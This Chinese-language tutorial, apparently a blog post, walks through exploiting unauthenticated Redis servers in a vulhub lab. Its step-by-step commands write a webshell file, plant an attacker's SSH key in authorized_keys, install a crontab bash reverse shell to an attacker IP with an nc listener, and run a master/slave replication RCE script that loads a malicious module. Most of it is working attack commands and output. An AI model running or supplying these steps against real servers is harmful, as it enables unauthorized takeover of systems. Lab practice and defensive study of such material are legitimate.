redis未授权访问利用

漏洞解析

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

利用前提

redis直接暴露在外网,无访问限制
没有设置密码认证(一般为空),可以免密码远程登录redis服务。

靶场环境

使用vulhub环境

1
2
cd redis/4-unacc 
docker-compose up -d

漏洞利用

下载连接客户端

1
2
3
4
5
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/

redis命令

1
2
3
4
5
6
7
8
使用密码连接reids
redis-cli -h ip -p port -a password

无密码连接redis
redis-cli -h ip

测试连通性
ping

写webshell

利用条件

  • 知道真实路径
  • 读写权限

因为靶场没有web服务,写入tmp目录下

1
2
3
4
5
6
7
8
10.20.146.195:6379> config set dir /tmp #设置绝对路径
OK
10.20.146.195:6379> config set dbfilename shell.php #写入文件名
OK
10.20.146.195:6379> set shell "\r\n\r\n<?php phpinfo()?>\r\n" #写入数据
OK
10.20.146.195:6379> save #保存
OK

CONFIG 命令查看或设置配置项
dbfilename 备份文件

\n\r\n为换行符,在写入的时候redis会自动写入其他数据,避免代码无法正常执行

写入公钥

靶机上没有ssh,先安装,再生成公私秘钥

1
2
3
4
5
apt-get update
apt-get install openssh-client
apt-get install openssh-server
server ssh start
ssh-keygen -t rsa

在攻击机上也生成公私秘钥

写入到key.txt

1
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

在redis中修改备份目录

报错 (error) ERR Changing directory: No such file or directory
因为此处,是vulhub环境,没有以root权限去启动,所以没有权限,演示不了

然后执行

1
2
config set dbfilename "authorized_keys"
save

写入之后直接使用攻击机ssh redis服务器就可以免密登录

计划任务反弹shell

利用条件

  • 需要以root用户

采用crontab每分钟连接攻击机一次

1
2
3
4
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机ip/4444 0>&1\n\n\n"
save

攻击机监听

1
nc -lvp 4444

靶场不是root权限运行的redis演示不了

EXP-利用主从复制RCE

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

exp下载地址

  • 编译

    1
    2
    cd RedisModulesSDK/
    make
  • 使用

1
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"